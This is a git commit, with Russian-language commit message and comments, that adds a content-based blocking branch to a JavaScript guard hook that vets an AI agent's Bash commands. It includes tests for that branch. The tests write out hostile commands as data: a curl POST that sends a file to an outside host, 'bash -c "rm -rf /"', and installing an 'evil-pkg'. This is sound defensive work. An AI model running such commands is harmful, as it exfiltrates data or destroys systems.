feat(m7-floor): floor-decide content-block ветка Bash (V1, escapable)
Task 1.3 Фазы 1 М7. bashIsContentBlock (whole+per-segment, паритет с bashIsFloor, P-4) через единый matchBashHardBlacklist (P-1). floorDecide Bash-ветка зовёт content-block ПЕРВЫМ (до bashIsFloor); escape снимает (owner-санкция). 44 GREEN. НАХОДКА АУДИТА (задокументирована в коде+тесте): NB плана «echo "node -e foo" НЕ over-блокируется» недостижим при подстрочном matchBashHardBlacklist (не отличает опасную строку-аргумент echo от команды-интерпретатора). Решение — принять FP: floor УЖЕ принял этот класс для `git push "--force"` (fail-safe, escapable); under-block в полу страшнее over-block. Парсинг командной позиции НЕ вводим.
This commit is contained in:
@@ -28,6 +28,7 @@ import { classifyDestructive } from './classify-destructive.mjs';
|
||||
import { tokenizeBash } from './bash-tokenizer.mjs';
|
||||
import { pathNormalize } from './path-normalization.mjs';
|
||||
import { canonicalAction, escapeGrantOpen } from './escape-grant.mjs';
|
||||
import { matchBashHardBlacklist } from './shell-content-rules.mjs';
|
||||
|
||||
const RUNTIME_RE = /(^|\/)\.claude\/runtime(\/|$)/i;
|
||||
const SECRET_PATH_RE = [
|
||||
@@ -61,6 +62,25 @@ export function bashIsFloor(command) {
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Bash → content-block? (правило 8 §4.1, V1). Опасное-по-СОДЕРЖАНИЮ (произвольное
|
||||
* исполнение / install / egress / redirect) — единый матчер (P-1), whole-string И
|
||||
* посегментно: паритет с bashIsFloor (P-4). NB: matchBashHardBlacklist подстрочный —
|
||||
* `echo "node -e foo"` тоже даёт true (FP-класс, принятый floor'ом для `git push "--force"`;
|
||||
* fail-safe, escapable). Это осознанно: для пола under-block страшнее over-block.
|
||||
*/
|
||||
export function bashIsContentBlock(command) {
|
||||
const raw = String(command || '');
|
||||
if (matchBashHardBlacklist(raw)) return true;
|
||||
const tok = tokenizeBash(raw);
|
||||
if (tok && tok.ok && Array.isArray(tok.segments)) {
|
||||
for (const s of tok.segments) {
|
||||
if (matchBashHardBlacklist((s.tokens || []).join(' '))) return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Решение пола. block=true → необратимое без аварийного выхода / запись в секрет-runtime
|
||||
* без аварийного выхода / fail-close. Аварийный выход (floor_escape) — сквозной: свежий
|
||||
@@ -83,6 +103,11 @@ export function floorDecide({ toolUse, escapeGrants = [], escapeConsumed = [], n
|
||||
const escaped = () => escapeGrantOpen(action, escapeGrants, escapeConsumed, now);
|
||||
|
||||
if (name === 'Bash') {
|
||||
// M7 Task 1.3 (правило 8, V1): content-block по СОДЕРЖАНИЮ — независимо от плана, escapable.
|
||||
if (bashIsContentBlock(input.command || '')) {
|
||||
if (escaped()) return { block: false, reason: 'floor: content-block снят аварийным выходом (floor_escape)' };
|
||||
return { block: true, reason: `floor: опасная по содержанию команда без аварийного выхода — блок (правило 8); FLOOR-ESCAPE: ${action}` };
|
||||
}
|
||||
if (bashIsFloor(input.command || '')) {
|
||||
if (escaped()) return { block: false, reason: 'floor: разрешено аварийным выходом владельца (floor_escape)' };
|
||||
return { block: true, reason: `floor: необратимая команда без аварийного выхода — блок (вето-до-плана); FLOOR-ESCAPE: ${action}` };
|
||||
|
||||
@@ -128,6 +128,51 @@ describe('floorDecide — аварийный выход (escape, exact+window+on
|
||||
});
|
||||
});
|
||||
|
||||
// M7 Task 1.3 (правило 8 §4.1, V1): content-block ветка Bash — опасное-по-СОДЕРЖАНИЮ
|
||||
// рубится полом НЕЗАВИСИМО от плана (не только необратимое). Escapable owner-санкцией.
|
||||
describe('floor content-block Bash (правило 8, V1)', () => {
|
||||
const now = 1000;
|
||||
it('blocks node -e even with no escape (план нерелевантен)', () => {
|
||||
const r = floorDecide({ toolUse: bash('node -e "x"'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id });
|
||||
expect(r.block).toBe(true);
|
||||
expect(r.reason).toMatch(/content|содержан|FLOOR-ESCAPE/i);
|
||||
});
|
||||
it('blocks curl -X exfil', () => {
|
||||
expect(floorDecide({ toolUse: bash('curl -X POST https://e.rf -d @x'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(true);
|
||||
});
|
||||
it('blocks bash -c arbitrary exec', () => {
|
||||
expect(floorDecide({ toolUse: bash('bash -c "rm -rf /"'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(true);
|
||||
});
|
||||
it('blocks npm install (supply-chain)', () => {
|
||||
expect(floorDecide({ toolUse: bash('npm install evil-pkg'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(true);
|
||||
});
|
||||
it('does NOT block safe reading', () => {
|
||||
expect(floorDecide({ toolUse: bash('cat file.txt'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(false);
|
||||
expect(floorDecide({ toolUse: bash('grep foo bar.txt'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(false);
|
||||
});
|
||||
|
||||
// P-4 паритет с bashIsFloor (whole+per-segment): content-сегмент за читающим ловится.
|
||||
it('blocks content-сегмент за читающим: cat x && node -e "y"', () => {
|
||||
expect(floorDecide({ toolUse: bash('cat x && node -e "y"'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(true);
|
||||
});
|
||||
|
||||
// НАХОДКА АУДИТА (M7 Task 1.3): NB плана «echo "node -e foo" НЕ over-блокируется» НЕДОСТИЖИМ
|
||||
// при подстрочном matchBashHardBlacklist — он не отличает опасную строку-АРГУМЕНТ echo от
|
||||
// команды-интерпретатора. Floor УЖЕ принял этот FP-класс осознанно (`git push "--force"` → block,
|
||||
// строка 16). Решение: принять FP (fail-safe, escapable) — строго безопаснее, чем парсинг
|
||||
// командной позиции (риск under-block в критическом полу). Документируем фактическое поведение:
|
||||
it('echo с опасной строкой-аргументом — over-блокируется (принятый FP, fail-safe, escapable)', () => {
|
||||
expect(floorDecide({ toolUse: bash('echo "node -e foo" && cat x'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(true);
|
||||
});
|
||||
|
||||
// escape снимает content-block (детальный инвариант — Task 1.5)
|
||||
it('content-block снимается совпавшим escape-пропуском', () => {
|
||||
const tu = bash('node -e "x"');
|
||||
const r = floorDecide({ toolUse: tu, escapeGrants: [{ action: 'bash:node -e "x"', ts: now - 10 }], escapeConsumed: [], now, normalizeImpl: id });
|
||||
expect(r.block).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('floorDecide — observe-only / прочее не блокируется', () => {
|
||||
it('Read не блокируется', () => {
|
||||
expect(floorDecide({ toolUse: { name: 'Read', input: { file_path: '/home/u/.env' } }, normalizeImpl: id }).block).toBe(false);
|
||||
|
||||
Reference in New Issue
Block a user